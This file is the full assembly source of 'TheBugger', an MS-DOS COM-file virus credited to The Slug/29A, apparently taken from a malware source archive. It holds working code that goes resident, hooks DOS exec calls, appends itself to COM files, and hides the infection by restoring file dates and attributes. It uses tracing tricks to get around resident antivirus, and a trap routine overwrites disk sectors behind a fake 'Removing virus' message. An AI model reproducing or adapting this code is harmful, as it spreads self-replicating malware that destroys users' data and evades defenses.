MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.bugger.asm
2021-01-12 17:34:47 -06:00

538 lines
17 KiB
NASM
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
;±±± ±±±
;±±± ðððððð ðð ðð ððððð ðððð ðð ðð ððððð ððððð ððððð ððððð ±±±
;±±± ðð ððððð ðð= ð==ð ðð ðð ðð ðð ðð= ðð ð ±±±
;±±± ðð ðð ðð ðð ð ð ðð ðð ðð ðð ðð ðð ðð ðððð ±±±
;±±± ðð ðð ðð ððððð ððððð ððððð ððððð ððððð ððððð ðð ð VIRUS. ±±±
;±±± ±±±
;±±± ¯¯¯ A 29A Research Code by The Slug. ®®® ±±±
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
;±±± TheBugger is a simple COM infector with some interesting ±±±
;±±± inprovements. ±±±
;±±± ±±±
;±±± Its first difference with a normal COM virus is the tricky resident ±±±
;±±± check; it's designed to avoid lamers writing the typical resident ±±±
;±±± program wich returns the residency code and forces the virus to not ±±±
;±±± install in memory. To avoid that, the virus makes an extra check of ±±±
;±±± a random byte in the memory copy; if the check fails, it jumps to a ±±±
;±±± simulated HD formatting routine }:). ±±±
;±±± ±±±
;±±± Another interesting feature is the tunneling routine. It uses the ±±±
;±±± common code trace method but it starts tracing from PSP call to int ±±±
;±±± 21h instead of doing it from normal int 21h vector in order to avoid ±±±
;±±± resident antivirus stopping trace mode. This call is supported for ±±±
;±±± compatibility with older DOS versions and it has some little ±±±
;±±± diferences with the normal int 21 handler: first, the function code ±±±
;±±± is passed in cl register (not in ah as usual) and second, the ±±±
;±±± function to call can't be higher than 24h. These diferences are ±±±
;±±± handled by the O.S. in a separated routine and then it jumps to the ±±±
;±±± original int 21h handler, so the tunneling routine only skips the ±±±
;±±± first 'compatibility' routines and gets the real int 21h address €:).±±±
;±±± ±±±
;±±± The last big feature, is the infection method; the virus infects COM ±±±
;±±± files by changing a call in host code to point to it. This call may ±±±
;±±± be one between the second and fifth. This is done by intercepting ±±±
;±±± the int 21h service 4bh (exec), when a COM file is executed, the vi- ±±±
;±±± rus changes its first word with an int CDh call, it intercepts this ±±±
;±±± int and jumps to the int 21h. When the host starts running, it exe- ±±±
;±±± cutes the int CDh and then the virus takes control; it restores host ±±±
;±±± first word and changes int 01h to trace host in order to find a call ±±±
;±±± to infect }:) The use of int CDh can be avoided by tracing int 21h ±±±
;±±± until host code, but this way we have the same problem of resident ±±±
;±±± antivirus. ±±±
;±±± ±±±
;±±± And that's all folks :), enjoy it. ±±±
;±±± ±±±
;±±± 9  ±±±
;±±± The Slug/29A };){|0D==8±±±
;±±± I Love This Job. 3---ë-----±±±
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
.286
code segment 'TheBugger'
assume cs:code,ds:code,ss:code
org 0h
virsize equ (virend-start)+1
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± Main C0de ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
start: push cs ;address t0 return t0 h0st.
db 68h ;push '0ffset'.
retonno dw 0000
push ds es
pusha
call sig ;get nasty delta 0ffset.
sig: pop si
sub si, offset(sig)
mov ax, 0B0B0h ;resident check.
int 21h
cmp ax, 0BABAh
jne instal
jmp lstchk
instal: mov ah, 62h ;get PSP segment.
int 21h
xchg bx,ax ;get MCB addres.
dec ax
mov ds,ax
cmp byte ptr ds:[0],'Z' ;is the last MCB?
je chgmcb
jmp aprog
chgmcb: sub word ptr ds:[3],(virsize/10h)+8 ;change bl0ck size in MCB
sub word ptr ds:[12h],(virsize/10h)+8 ;& in PSP.
add ax,ds:[3]
inc ax
cld ;copy to new l0cati0n.
mov es, ax
xor di, di
push cs
pop ds
mov cx, virsize
rep movsb
push es ;jump t0 c0py.
push offset(newcpy)
retf
newcpy: mov si, 06h ;m0ve call t0 int 21,
lea di, PSPcall+1 ;fr0m PSP t0 c0py 0f virus.
movsw
movsw
mov ds, cx ;save curent int 21h vect0r.
mov si,21h*4 ;) cx=0
lea di,int21+1
movsw
movsw
mov word ptr ds:[01h*4], offset(tunn) ;hang tunneling code :)
mov word ptr ds:[01h*4]+2, es
pushf ;call int 21h fr0m PSP in trace m0de.
pop ax
or ah, 01h
push ax
mov cl, 0Bh ;get input status function (in cl ;).
popf
call PSPcall
mov word ptr [si-4], offset(hdl21) ;hang new int 21h handler.
mov word ptr [si-2], es
aprog: popa ;return t0 h0st.
pop es ds
retf
lstchk: in ax, 40h ;check rand0m w0rd of mem0ry c0py.
and ax, 0200h
push si
add si, ax
mov di, ax
cmpsw
pop si
je aprog
buuuhh: push cs ;display funny message :)
pop ds
lea dx, joke
add dx, si
mov ah,09h
int 21h
mov dx,0180h ;I think it's clear enought };).
mov cx,07FFh
funny: mov ax,0401h
int 13h
loop funny
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± Data ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
credits db 'TheBugger virus by The Slug/29A'
intCD: int 0CDh ;int t0 detect h0st execution.
PSPcall: db 9Ah
dd 0 ;PSP call t0 int21h ;)
joke db 'Removing virus from memory...',13,10,'$'
;±±±±±±±±±±±±±±±±±±±±±±±±±±±± Int 21h Handler ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
hdl21: cmp ax, 0B0B0h ;resident service?
jne func2
mov ax,0BABAh
push cs ;return virus segment in es
pop es ;f0r extra check.
iret
func2: cmp ax, 4B00h ;exec service?
je exec
int21: db 0EAh ;jmp t0 int 21h.
dd 0
exec: push ds es
pusha
pushf
mov si, dx ;c0py filespec.
push cs
pop es
lea di, path
next: lodsb
stosb
cmp al, 0
jne next
sub si, 4 ;is a .c0m file?
lodsw
xor ax, 2020h
cmp ax, 'oc'
jne nocom
call chgattr ;change file attributes.
mov ax, 3D02h ;0pen file.
int 03h
xchg bx, ax
call getdate ;get file time & date.
lea dx, firstb ;read first 3 bytes 0f file
mov cx, 3 ;t0 exe check & h0st detect rutine.
mov ah, 3Fh
int 03h
cmp word ptr cs:firstb, 'ZM' ;is an exe file (MZ sign)?
je exit
xor cx, cx ;g0 t0 file start again.
mov ax, 4200h
cwd ;dx <- 0 ;)
int 03h
lea dx, intCD ;write 'int CDh' c0de 0n file start
mov cx, 2 ;t0 detect h0st execution.
mov ah, 40h
int 03h
xor ax, ax ;change int CDh vect0r
mov es, ax ;f0r h0st detection.
mov ax, es:[0CDh*4]
mov intcddes, ax
mov ax, es:[0CDh*4]+2
mov intcdseg, ax
mov es:[0CDh*4], offset(fndhst)
mov es:[0CDh*4]+2, cs
exit: mov ah, 3Eh ;cl0se file.
int 03h
nocom: popf
popa
pop es ds
jmp int21
;±±±±±±±±±±±±±±±±±±±±±±±±±±± First Int 01 Handler ±±±±±±±±±±±±±±±±±±±±±±±±±±±
tunn: push ds es bp ;trace int 21 f0r tunneling.
pusha
call getret ;get next instructi0n address in es:di.
cmp es:[di], 0FC80h ;is an 'cmp ax, ??'
jne fuera
cmp byte ptr es:[di+2], 24h ;avoid 'cmp ax, 24h'
je fuera
stop: xor bx, bx
mov es, bx
mov es:[03h*4], di ;make int 03h point to true int 21h ;)
mov es:[03h*4]+2, ax
lodsw ;trace m0de 0ff.
and ah, 0FEh
mov [si-2], ax
fuera: popa
pop bp es ds
iret
;±±±±±±±±±±±±±±±±±±±±±±±±±±±± Int CDh Handler ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
fndhst: push ds es bp ;detect h0st c0de at exec.
pusha
call getret ;get next instructi0n dir.
chkhst: cmp di, 102h ;ensure it's h0st start :)
jne nohost
push cs
pop ds
mov ax, word ptr firstb ;rest0re first h0st w0rd in mem0ry.
dec di
dec di
stosw
lea dx, path ;0pen file.
push dx
mov ax, 3D02h
int 21h
xchg bx, ax
lea dx, firstb ;rest0re first w0rd 0f file.
mov cx, 2
mov ah, 40h
int 21h
call setdate ;rest0re file date & time.
mov ah ,3Eh ;cl0se file.
int 21h
pop dx
call setattr ;rest0re file attributes.
xor ax, ax ;rest0re int CDh vect0r.
mov es, ax
mov ax, intcddes
mov es:[0CDh*4], ax
mov ax, intcdseg
mov es:[0CDh*4]+2, ax
mov word ptr es:[01h*4], offset(fndcal) ;change int 01h vect0r
mov es:[01h*4]+2, cs ;t0 find a call.
mov numinstr, 0FFh ;max number 0f instr. t0 trace.
in ax, 40h ;ramd0m ch0se 0f call t0 infect (2-5).
and al, 03h
inc al
inc al
mov numcall, al
push ss ;rest0re 0riginal IP (100h) 0n stack.
pop ds
dec di
dec di
mov [si-4], di
lodsw ;trace m0de 0n
or ah, 01h
mov ss:[si-2], ax
nohost: popa
pop bp es ds
iret
;±±±±±±±±±±±±±±±±±±±±±±±±±±± Second Int 01 Handler ±±±±±±±±±±±±±±±±±±±±±±±±±±
fndcal: push ds es bp ;trace h0st t0 find a call t0 infect.
pusha
dec cs:numinstr ;check instructi0n trace limit.
jnz goon
jmp off
goon: call getret ;get ret address.
cmp di, cs:lstdsp ;d0 n0t c0unt 0ne m0re instructi0n
jne norep ;0n 'rep' prefixed instructi0ns.
inc cs:numinstr
norep: mov cs:lstdsp, di ;st0re actual return 0ffset.
mov ax, es:[di]
cmp al, 9Dh ;check f0r a p0pf.
jne chkirt
lodsw
lodsw
or ah, 01h ;ensure trap flag will be 0n.
mov [si-2], ax
jmp nocall
chkirt: cmp al, 0CFh ;check f0r a iret.
jne chkint
lodsw
lodsw
lodsw
lodsw
or ah, 01h ;ensure trap flag will be 0n.
mov [si-2], ax
anocall:jmp nocall
chkint: cmp al, 0CDh ;check f0r a int xx.
jne chkint3
cmp ah, 20h ;skip ints 20h, 21h & 20h
je anocall
cmp ah, 21h
je anocall
cmp ah, 27h
je anocall
mov cs:numint, ax ;int number t0 perf0rm call.
inc di ;inc ret addr t0 step 0ver int call.
inc di
mov [si-4], di
popa
pop bp es ds
numint dw 00 ;perf0rm int call in virus c0de.
iret
chkint3:cmp al, 0CCh ;check int 03h call.
jne chkcal
inc di
mov [si-4], di ;step 0ver int call.
jmp nocall
chkcal: cmp al, 0E8h ;check f0r a call t0 infect.
je found
jmp nocall
found: dec cs:numcall ;it's the nice 0ne ;)
je go
cmp cs:numinstr, 20 ;d0n't be s0 extrict in call number
jb go ;if there are t00 few calls.
jmp nocall
go: call chgattr ;change attributes.
mov ax, 3D02h ;0pen file.
int 03h
xchg bx, ax
call getdate ;get file date & time.
xor cx, cx ;m0ve t0 file call positi0n.
mov dx, di
sub dx, 100h
mov ax, 4200h
int 03h
lea dx, check ;read call fr0m file f0r c0mpress chk.
mov cx, 1
mov ah, 3Fh
int 03h
cmp check, 0E8h ;c0mpressed file?
je ok
jmp close
ok: xor cx, cx ;m0ves t0 end 0f file.
mov ax, 4202h
cwd ;dx <- 0 ;)
int 03h
mov hostsize, ax
sub ax, di ;find call parameter.
add ax, 0FDh
mov hostsize, ax ;f0r a new "call hostsize".
mov ax, es:[di+1] ;0ffset t0 return t0 h0st
add ax, di
add ax, 3
mov retonno, ax
lea dx, start ;save mi c0de at file end.
mov cx, virsize
mov ah, 40h
int 03h
xor cx, cx ;m0ves again t0 call.
sub di, 0FFh
mov dx, di
mov ax, 4200h
int 03h
lea dx, hostsize ;change it. }:)
mov cx, 2
mov ah, 40h
int 03h
close: call setdate ;rest0re file time & date.
mov ah, 3Eh ;cl0se file.
int 03h
lea dx, path
call setattr ;rest0re file attributes.
off: mov bp, sp
mov ax, ss:[bp+26] ;trace m0de 0ff.
and ah, 0FEh
mov ss:[bp+26], ax
nocall: popa
pop bp es ds
iret
;±±±±±±±±±±±±±±±±±±±±±±± Get Ret Address Fr0m Stack ±±±±±±±±±±±±±±±±±±±±±±±±±
getret: mov si, sp ;get next instructi0n dir.
add si, 24
push ss
pop ds
lodsw
mov di, ax
lodsw
mov es, ax
ret
;±±±±±±±±±±±±±±±±±±±±±±±± S0me File Handling C0de ±±±±±±±±±±±±±±±±±±±±±±±±±±±
chgattr:push cs
pop ds
lea dx, path
mov ax,4300h ;change file attributes.
int 03h
mov attrib,cx
xor cx, cx ;reset file atributes.
mov ax,4301h
int 03h
ret
setattr:mov cx, attrib ;rest0re file attributes.
mov ax,4301h
int 03h
ret
getdate:mov ax,5700h ;get file time & date.
int 03h
mov time,cx
mov date,dx
ret
setdate:mov cx,time ;rest0re file time & date.
mov dx,date
mov ax,5701h
int 03h
ret
virend:
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±± Virtual Data ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
firstb db 3 dup(0) ;buffer f0r h0st start.
lstdsp dw 0 ;last trace 0ffset.
numinstr db 0 ;max. number 0f instructi0ns t0 trace.
numcall db 0 ;call t0 infect (2-5).
intcddes dw 0 ;int CD vect0r backup.
intcdseg dw 0
hostsize dw 0 ;it's just the h0st size ;)
attrib dw 0 ;file attributes.
time dw 0 ;file time.
date dw 0 ;file date.
check db 0 ;check f0r compressed file.
path db 0 ;path to host.
code ends
end start